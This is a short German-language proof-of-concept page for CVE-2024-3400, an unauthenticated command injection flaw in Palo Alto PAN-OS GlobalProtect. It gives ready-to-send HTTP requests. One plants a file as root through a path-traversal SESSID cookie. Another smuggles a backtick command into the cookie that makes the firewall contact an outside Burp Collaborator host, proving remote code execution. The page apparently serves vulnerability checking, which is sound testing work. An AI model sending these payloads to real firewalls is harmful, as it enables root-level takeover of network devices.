
CVE-2024-3400 PAN-OS: OS-Befehlsinjektions-Sicherheitslücke in GlobalProtect
Palo Alto OS-Befehlseinschleusung
Herstellerbeschreibung
Eine Befehlseinschleusungsschwachstelle im GlobalProtect-Feature der PAN-OS-Software von Palo Alto Networks für bestimmte PAN-OS-Versionen und spezifische Feature-Konfigurationen könnte es einem nicht authentifizierten Angreifer ermöglichen, beliebigen Code mit Root-Rechten auf der Firewall auszuführen.
Dank an watchtowr labs 🚀
HTTP-Anfrage:
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/poc.txt;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
poc.txt sollte unter diesem Pfad erstellt werden: /var/appweb/sslvpndocs/global-protect/portal/images/poc.tx mit Root-Rechten.
Wenn angreifbar, erhalten Sie beim Zugriff auf poc.txt einen 403-Statuscode anstelle von 404.
GET /global-protect/portal/images/poc.txt HTTP/1.1
Host: 127.0.0.1
Connection: close
Telemetrie muss aktiviert sein.
Sie können Burp Collaborator für die RCE-Überprüfung verwenden.
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`hostname${IFS}burpcollaborator.net `;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0